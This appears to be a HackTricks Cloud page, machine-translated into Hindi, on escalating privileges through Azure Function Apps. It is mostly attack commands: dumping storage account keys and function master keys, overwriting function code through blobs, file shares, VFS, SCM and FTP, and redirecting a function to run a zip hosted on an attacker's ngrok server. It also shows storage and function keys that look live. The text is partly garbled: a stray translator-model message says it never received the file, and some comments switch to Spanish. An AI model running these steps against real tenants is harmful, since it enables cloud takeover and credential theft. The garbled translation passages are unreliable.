Az - Functions App Privesc
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Function Apps
अधिक जानकारी के लिए निम्न पृष्ठ देखें:
Bucket Read/Write
Storage Account के अंदर जो containers होते हैं जो Function data को स्टोर करते हैं उन्हें पढ़ने की permissions होने पर आप विभिन्न कंटेनर (custom या pre-defined names वाले) खोज सकते हैं जो संभवतः Function द्वारा निष्पादित कोड को contain करते हों।
एक बार जब आप पता लगा लें कि Function का कोड कहाँ स्थित है और आपके पास उस पर write permissions हैं, तो आप Function को किसी भी कोड को execute करने के लिए मजबूर कर सकते हैं और Function से जुड़े managed identities के privileges escalate कर सकते हैं।
File Share(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Function का कोड आमतौर पर एक file share के अंदर स्टोर रहता है। पर्याप्त access होने पर कोड फ़ाइल में संशोधन कर के आप Function को मनमाना कोड लोड करवाना संभव कर सकते हैं, जिससे Function से जुड़े managed identities के privileges escalate हो सकें।
This deployment method usually configures the settings WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE जिन्हें आप प्राप्त कर सकते हैं
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
ये कॉन्फ़िग्स में वह Storage Account Key होगी जिसका उपयोग Function कोड तक पहुँचने के लिए कर सकता है।
Caution
पर्याप्त अनुमति होने पर File Share से कनेक्ट करके और चल रही स्क्रिप्ट को modify the script करने पर Function में arbitrary code निष्पादित करना और privileges escalate करना संभव है।
निम्न उदाहरण macOS का उपयोग करके file share से कनेक्ट करने का तरीका दिखाता है, लेकिन file shares के बारे में और जानकारी के लिए निम्न पृष्ठ भी देखें:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases(WEBSITE_RUN_FROM_PACKAGE)
अक्सर function-releases फोल्डर के अंदर, उस Storage Account container में जो function app उपयोग कर रहा होता है, zip releases मिलती हैं — आमतौर पर यह container function-releases नाम का होता है।
आम तौर पर यह deployment method WEBSITE_RUN_FROM_PACKAGE config को निम्न में सेट कर देता है:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
This config will usually contain a SAS URL to download the code from the Storage Account.
Caution
blob container से कनेक्ट करने की पर्याप्त अनुमति होने पर जो contains the code in zip है, Function में arbitrary code execute करके privileges escalate करना संभव है।
github-actions-deploy(WEBSITE_RUN_FROM_PACKAGE)
पिछले केस की तरह, अगर deployment Github Actions के माध्यम से किया गया है तो Storage Account में github-actions-deploy फोल्डर पाया जा सकता है जो कोड का zip रखता है और setting WEBSITE_RUN_FROM_PACKAGE में उस zip का SAS URL होता है।
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
function data संग्रहीत करने वाले Storage Account के अंदर के containers पढ़ने की permissions होने पर scm-releases container पाया जा सकता है। वहाँ आप latest release Squashfs filesystem file format में पा सकते हैं और इसलिए function का code पढ़ना संभव है:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
It’s also possible to find the master and functions keys stored in the storage account in the container azure-webjobs-secrets inside the folder <app-name> in the JSON files you can find inside.
Caution
blob container से कनेक्ट करने के लिए पर्याप्त अनुमति होने पर, जो contains the code in a zip extension file (जो वास्तव में एक
squashfsहै), Function में arbitrary code execute करना और privileges escalate करना संभव है।
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
यह अनुमति निर्दिष्ट function की function, master और system keys को सूचीबद्ध करने की अनुमति देती है, लेकिन host key को नहीं, निम्न के साथ:
az functionapp keys list --resource-group <res_group> --name <func-name>
master key के साथ यह भी संभव है कि source code को ऐसे URL से प्राप्त किया जा सके, जैसे:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
और फ़ंक्शन में निष्पादित हो रहे कोड को बदलने के लिए:
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
यह अनुमति निर्दिष्ट function की default key प्राप्त करने की अनुमति देती है:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
प्राप्त डिफ़ॉल्ट कुंजी का उपयोग करके फ़ंक्शन को चलाएँ:
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
Microsoft.Web/sites/host/functionKeys/write
यह अनुमति निर्दिष्ट फ़ंक्शन की function key को निम्न के साथ बनाने/अपडेट करने की अनुमति देती है:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
यह permission निर्दिष्ट function के लिए master key बनाने/अपडेट करने की अनुमति देती है:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Caution
याद रखें कि इस key के साथ आप स्रोत कोड तक भी पहुँच कर उसे पहले बताए गए अनुसार संशोधित कर सकते हैं!
Microsoft.Web/sites/host/systemKeys/write
यह permission निर्दिष्ट function के लिए system function key create/update करने की अनुमति देता है:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
मैंने उस फ़ाइल की सामग्री प्राप्त नहीं की है। कृपया src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md की सामग्री या “key” यहाँ पेस्ट करें ताकि मैं उसे हिंदी में अनुवाद कर सकूं।
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
Microsoft.Web/sites/config/list/action
यह अनुमति किसी फ़ंक्शन की सेटिंग्स प्राप्त करने देती है। इन कॉन्फ़िगरेशन में डिफ़ॉल्ट मान AzureWebJobsStorage या WEBSITE_CONTENTAZUREFILECONNECTIONSTRING मिल सकते हैं, जो फ़ंक्शन के blob storage तक FULL permissions के साथ एक्सेस करने के लिए एक account key रखते हैं।
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
इसके अलावा, यह अनुमति (यदि सक्षम हो) SCM username and password प्राप्त करने की अनुमति भी देती है:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
ये permissions एक function के config values को सूचीबद्ध करने की अनुमति देती हैं जैसा कि पहले देखा गया था, और साथ ही आप इन्हें इन मानों को संशोधित कर सकते हैं। यह उपयोगी है क्योंकि ये सेटिंग्स बताती हैं कि function के अंदर execute होने वाला code कहाँ स्थित है।
इसलिए यह संभव है कि आप setting WEBSITE_RUN_FROM_PACKAGE का मान उस URL zip फ़ाइल की ओर सेट करें जिसमें वेब एप्लिकेशन के अंदर execute करने के लिए नया code होता है:
- शुरू करने के लिए पहले वर्तमान config प्राप्त करें
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- उस code को बनाएं जिसे आप function द्वारा चलाना चाहते हैं और इसे सार्वजनिक रूप से होस्ट करें
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- फ़ंक्शन में संशोधन करें, पिछले पैरामीटर्स को रखें और अंत में कॉन्फ़िग
WEBSITE_RUN_FROM_PACKAGEजोड़ें जो कोड वाले zip के URL की ओर इशारा करे।
The following is an example of my मेरी अपनी सेटिंग्स हैं; आपको इनके मान अपने अनुसार बदलने होंगे, note at the end the values "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", this is where I was hosting the app.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
इस अनुमति के साथ यह संभव है कि किसी एप्लिकेशन के कोड में बदलाव किया जा सके वेब कंसोल के माध्यम से (या निम्नलिखित API endpoint के जरिए):
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
यह अनुमति सभी publishing profiles को सूचीबद्ध करने की अनुमति देती है, जो मूल रूप से basic auth credentials होते हैं:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
एक और विकल्प होगा अपने creds सेट करना और उनका उपयोग करना:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- यदि REDACTED credentials
यदि आप देखते हैं कि वे credentials REDACTED हैं, तो इसका कारण यह है कि आपको SCM basic authentication option को सक्षम करने की आवश्यकता है और इसके लिए आपको दूसरा permission (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write): की आवश्यकता है।
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- विधि SCM
फिर, आप इन basic auth credentials के साथ अपने function app के SCM URL पर पहुँच सकते हैं और env variables के मान प्राप्त कर सकते हैं:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
ध्यान दें कि SCM username आमतौर पर ‘$’ अक्षर होता है, उसके बाद ऐप का नाम आता है, इसलिए: $<app-name>.
आप इस वेब पेज तक इस URL से भी पहुँच सकते हैं: https://<app-name>.scm.azurewebsites.net/BasicAuth
Settings मानों में function app के डेटा को स्टोर करने वाले storage account का AccountKey होता है, जिससे उस storage account को नियंत्रित किया जा सकता है।
- तरीका FTP
FTP सर्वर से कनेक्ट करने के लिए:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
ध्यान दें कि FTP username आमतौर पर प्रारूप <app-name>\$<app-name> में होता है.
Microsoft.Web/sites/hostruntime/vfs/read
यह अनुमति VFS के माध्यम से app का स्रोत कोड पढ़ने की अनुमति देती है:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
इस अनुमति के साथ आप get the admin token प्राप्त कर सकते हैं, जिसका उपयोग बाद में master key प्राप्त करने और इसलिए function’s code तक पहुँचने व उसे संशोधित करने के लिए किया जा सकता है।
हालाँकि, मेरी हाल की जाँचों में कोई token वापस नहीं आया, इसलिए यह disabled हो सकता है या अब काम नहीं कर रहा हो, पर यहाँ बताया गया है कि आप इसे कैसे करेंगे:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
यह अनुमति उन फ़ंक्शंस को सक्षम करने (या अक्षम करने) की अनुमति देती है जो निष्क्रिय हो सकती हैं।
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
यह भी देखा जा सकता है कि कोई function सक्षम है या अक्षम निम्न URL में (parenthesis में दिए गए permission का उपयोग करके):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
इन permissions के साथ यह संभव है कि आप function app द्वारा चलाए जा रहे container को संशोधित कर सकें, जो container चलाने के लिए configured है। इससे एक attacker एक malicious azure function container app को docker hub (for example) पर upload करके function को इसे चलाने के लिए मजबूर कर सकता है।
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
इन permissions के साथ यह संभव है कि किसी function पर एक नया user managed identity attach किया जा सके। यदि function compromised हो गया हो तो इससे किसी भी user managed identity के privileges escalate किए जा सकेंगे।
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
रिमोट डिबगिंग
एक चल रही Azure function को डिबग करने के लिए कनेक्ट करना भी संभव है जैसा कि explained in the docs. हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा ताकि अगर डेवलपर भूल जाए तो कमजोर कॉन्फ़िगरेशन न रह जाएँ।
यह जांचना संभव है कि किसी Function में debugging सक्षम है या नहीं, इसके लिए:
az functionapp show --name <app-name> --resource-group <res-group>
यदि आपके पास अनुमति Microsoft.Web/sites/config/write है, तो किसी function को debugging mode में डालना भी संभव है (निम्नलिखित command के लिए Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read और Microsoft.Web/sites/Read अनुमतियाँ भी आवश्यक हैं)।
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Change Github repo
मैंने उस Github repo को बदलने की कोशिश की जहाँ से deploying हो रहा था, निम्न commands चलाकर, लेकिन भले ही यह बदल भी गया, नया कोड लोड नहीं हुआ था (शायद क्योंकि यह Github Action से कोड अपडेट होने की उम्मीद कर रहा था).
इसके अलावा, managed identity federated credential को नए repository को अनुमति देने के लिए अपडेट नहीं किया गया था, इसलिए लगता है कि यह बहुत उपयोगी नहीं है।
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

